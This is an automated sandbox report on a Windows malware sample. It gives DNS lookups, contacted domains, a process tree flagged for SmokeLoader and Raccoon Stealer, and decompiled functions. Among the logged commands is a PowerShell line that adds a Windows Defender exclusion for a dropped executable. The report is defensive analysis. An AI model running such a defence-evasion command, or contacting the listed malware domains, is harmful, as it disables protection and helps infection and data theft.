Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:17.790961027 CEST	8.8.8.8	192.168.2.7	0xbc65	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:37.552494049 CEST	8.8.8.8	192.168.2.7	0x2dfd	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:45.156213045 CEST	8.8.8.8	192.168.2.7	0xe6e8	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:51.359935045 CEST	8.8.8.8	192.168.2.7	0x4e45	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:52.015991926 CEST	8.8.8.8	192.168.2.7	0x7e73	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:54.837757111 CEST	8.8.8.8	192.168.2.7	0x193d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:55.605962038 CEST	8.8.8.8	192.168.2.7	0xc53b	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 15:31:59.012947083 CEST	8.8.8.8	192.168.2.7	0xa389	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:03.904835939 CEST	8.8.8.8	192.168.2.7	0x199	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:08.407000065 CEST	8.8.8.8	192.168.2.7	0x5645	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:09.135754108 CEST	8.8.8.8	192.168.2.7	0x434f	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:09.135754108 CEST	8.8.8.8	192.168.2.7	0x434f	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:24.480983019 CEST	8.8.8.8	192.168.2.7	0xd7f7	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:25.520663023 CEST	8.8.8.8	192.168.2.7	0x46f	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 15:32:32.201045036 CEST	8.8.8.8	192.168.2.7	0xc784	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

bkhtxo.com

hajezey1.top

qucostkxtw.org

privacytoolzforyou-6000.top

kslrhwirq.net

vbyddwsgl.net

ckkawpd.net

qjhggbh.com

yilaxxc.org

mlylmiecm.org

xquhxc.com

lnvqewf.net

xpqaga.net

nxvperioa.net

kclljmjl.org

ifkorrg.com

uknlp.org

agijcahi.org

fqyeks.net

kmpicq.net

nyssomocem.net

wplogk.net

uuiisjmkv.com

siawn.net

vvqdkujnt.net

wogvus.org

alsla.net

bpoitfpcxi.net

ryypml.org

ifklliaybe.net

omliatj.com

sysaheu90.top

ikgpguftl.org

udluixh.org

lbbxr.org

toptelete.top

194.180.174.181

nusurtal4f.net

znpst.top

dkukb.net

193.56.146.214

kvxhgwiwd.org

fqytd.org

dqqtfxwl.org

knanvvmjy.net

fmwfrtbvy.net

ombhsev.com

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SkB6zJ6H3N.exe PID: 6372 Parent PID: 5472

General

Start time:	15:29:05
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\SkB6zJ6H3N.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: SkB6zJ6H3N.exe PID: 6536 Parent PID: 6372

General

Start time:	15:29:09
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\SkB6zJ6H3N.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 6536

General

Start time:	15:29:16
Start date:	29/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cviueca PID: 6216 Parent PID: 1104

General

Start time:	15:29:51
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 97A5.exe PID: 6264 Parent PID: 3292

General

Start time:	15:29:52
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\97A5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\97A5.exe
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: 97A5.exe PID: 5464 Parent PID: 6264

General

Start time:	15:29:56
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\97A5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\97A5.exe
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: cviueca PID: 6212 Parent PID: 6216

General

Start time:	15:29:57
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cviueca PID: 6504 Parent PID: 1104

General

Start time:	15:30:01
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cviueca PID: 2184 Parent PID: 6504

General

Start time:	15:30:08
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\cviueca
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\cviueca
Imagebase:	0x400000
File size:	345600 bytes
MD5 hash:	B8D2D644A3AC5DF8AF9B3AFF803F3347
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: 5D4.exe PID: 5344 Parent PID: 3292

General

Start time:	15:30:09
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\5D4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\5D4.exe
Imagebase:	0x3b0000
File size:	512512 bytes
MD5 hash:	F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\5D4.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: EDD.exe PID: 6868 Parent PID: 3292

General

Start time:	15:30:11
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\EDD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\EDD.exe
Imagebase:	0x810000
File size:	22528 bytes
MD5 hash:	787AF677D0C317E8062B9705CB64F951
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EDD.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	moderate

Chronological Activities

Analysis Process: 192F.exe PID: 3104 Parent PID: 3292

General

Start time:	15:30:13
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\192F.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\192F.exe
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 80%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 319A.exe PID: 4024 Parent PID: 3292

General

Start time:	15:30:20
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\319A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\319A.exe
Imagebase:	0xd50000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\319A.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 43%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 4288 Parent PID: 5344

General

Start time:	15:30:22
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: 69B5.exe PID: 6140 Parent PID: 3292

General

Start time:	15:30:23
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\69B5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\69B5.exe
Imagebase:	0x400000
File size:	348672 bytes
MD5 hash:	539C39A9565CD4B120E5EB121E45C3C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 5596 Parent PID: 4288

General

Start time:	15:30:27
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: 32BC.exe PID: 5540 Parent PID: 3292

General

Start time:	15:30:27
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\32BC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\32BC.exe
Imagebase:	0x400000
File size:	602112 bytes
MD5 hash:	D02C5BF9533CCE0E9EA3EAFC2F594A49
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 4756 Parent PID: 5344

General

Start time:	15:30:35
Start date:	29/10/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Imagebase:	0x1110000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4752 Parent PID: 4756

General

Start time:	15:30:36
Start date:	29/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: RegSvcs.exe PID: 6752 Parent PID: 5344

General

Start time:	15:30:44
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 1432 Parent PID: 4024

General

Start time:	15:30:44
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SkB6zJ6H3N.exe PID: 6372 Parent PID: 5472 SkB6zJ6H3N.exeCOMMON

Executed Functions

Function 02E0EA8D, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02E0EAD5

Memory Dump Source

Source File: 00000000.00000002.253298352.0000000002E0A000.00000040.00000001.sdmp, Offset: 02E0A000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: ebc061fb7e34959e203371bc5b280022c187752aca542b3501651c75a6f816ad
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: B2F09C351407106BDB203BF59CCDB6F76F9BF4D628F185938F642910C0D770E8864651

Uniqueness

Uniqueness Score: -1.00%

Function 00424570, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041CF2B,?,?,004246E0), ref: 00424577

Memory Dump Source

Source File: 00000000.00000002.252964150.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.252960159.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.252997226.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253224093.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction ID: d35c21fdf9697fae3b8ca4ac9df821949a654717cf36e16e5de8d48c8df027d1
Opcode Fuzzy Hash: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction Fuzzy Hash: 10A01132088208A3C2002282A80AF023A0CE3CCBA2F080020F20C0A0A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041C770, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00421940(); // executed
				return L0041C790(_t3, _t4);
			}

0x0041c775
0x0041c780

APIs

___security_init_cookie.LIBCMTD ref: 0041C775

Memory Dump Source

Source File: 00000000.00000002.252964150.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.252960159.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.252997226.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253224093.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction ID: 0a681379d47398b4151bf800e6cff2603fefdfa96e043e40685e21733ad3d3f9
Opcode Fuzzy Hash: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction Fuzzy Hash: C1A0027115465916015133A71857FCA754D48D47787D9001A7528021531D9CA88184AE

Uniqueness

Uniqueness Score: -1.00%

Function 02E0E74C, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02E0E79D

Memory Dump Source

Source File: 00000000.00000002.253298352.0000000002E0A000.00000040.00000001.sdmp, Offset: 02E0A000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 51f04e941c869439a25376739f5bc2e1063af5a4874458c513b12ac5380e7161
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: FE113279A40208EFDB01DF98C985E98BBF5AF08350F09C0A4F9489B361D371EA90DF40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00426320, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00426320(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43e494; // 0xf9dfbc6b
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ff40 = _t6;
				 *0x43ff3c = _t20;
				 *0x43ff38 = _t22;
				 *0x43ff34 = _t19;
				 *0x43ff30 = _t25;
				 *0x43ff2c = _t24;
				 *0x43ff58 = ss;
				 *0x43ff4c = cs;
				 *0x43ff28 = ds;
				 *0x43ff24 = es;
				 *0x43ff20 = fs;
				 *0x43ff1c = gs;
				asm("pushfd");
				_pop( *0x43ff50);
				 *0x43ff44 =  *_t29;
				 *0x43ff48 = _v0;
				 *0x43ff54 =  &_a4;
				 *0x43fe90 = 0x10001;
				_t11 =  *0x43ff48; // 0x0
				 *0x43fe44 = _t11;
				 *0x43fe38 = 0xc0000409;
				 *0x43fe3c = 1;
				_t21 =  *0x43e494; // 0xf9dfbc6b
				_v812 = _t21;
				_t23 =  *0x43e498; // 0x6204394
				_v808 = _t23;
				 *0x43fe88 = IsDebuggerPresent();
				_push(1);
				E00426300(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x409f14);
				if( *0x43fe88 == 0) {
					_push(1);
					E00426300(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00426320
0x00426320
0x00426320
0x00426320
0x00426320
0x00426320
0x00426320
0x00426326
0x00426328
0x00426328
0x0042e88b
0x0042e890
0x0042e896
0x0042e89c
0x0042e8a2
0x0042e8a8
0x0042e8ae
0x0042e8b5
0x0042e8bc
0x0042e8c3
0x0042e8ca
0x0042e8d1
0x0042e8d8
0x0042e8d9
0x0042e8e2
0x0042e8ea
0x0042e8f2
0x0042e8fd
0x0042e907
0x0042e90c
0x0042e911
0x0042e91b
0x0042e925
0x0042e92b
0x0042e931
0x0042e937
0x0042e943
0x0042e948
0x0042e94a
0x0042e954
0x0042e95f
0x0042e96c
0x0042e96e
0x0042e970
0x0042e975
0x0042e98d

APIs

IsDebuggerPresent.KERNEL32 ref: 0042E93D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042E954
UnhandledExceptionFilter.KERNEL32(00409F14), ref: 0042E95F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042E97D
TerminateProcess.KERNEL32(00000000), ref: 0042E984

Memory Dump Source

Source File: 00000000.00000002.252964150.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.252960159.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.252997226.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253224093.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction ID: 6e5e083b755442f47fa541dbf7107db887e1b4b9e8adfd400c469ff2a8e79deb
Opcode Fuzzy Hash: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction Fuzzy Hash: 42210DB9D012049BD300DF65FA866487BA0BB4E314F50207BED08973B2E7B45989CF4E

Uniqueness

Uniqueness Score: -1.00%

Function 02E0E36A, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.253298352.0000000002E0A000.00000040.00000001.sdmp, Offset: 02E0A000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 115c9e821d9b3562ef47a6c9e6d7abd63705bdf2dc9cd5035d8b9f0a194e32d5
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 17118E72380100AFD754DF55DCC0FA677EAEB99324B198465ED04CB395D779E842CB60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: SkB6zJ6H3N.exe PID: 6536 Parent PID: 6372 SkB6zJ6H3N.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000004.00000002.307828741.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

